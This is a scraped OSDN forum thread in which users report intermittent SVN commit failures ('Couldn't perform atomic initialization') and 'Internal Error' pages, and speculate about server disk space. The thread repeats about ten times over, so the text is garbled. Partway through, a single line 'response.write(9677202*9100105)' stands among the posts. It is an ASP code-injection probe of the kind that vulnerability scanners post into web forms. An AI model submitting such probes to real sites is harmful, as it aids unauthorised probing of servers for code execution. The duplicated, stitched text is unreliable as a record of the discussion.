About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
response.write(9677202*9100105)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
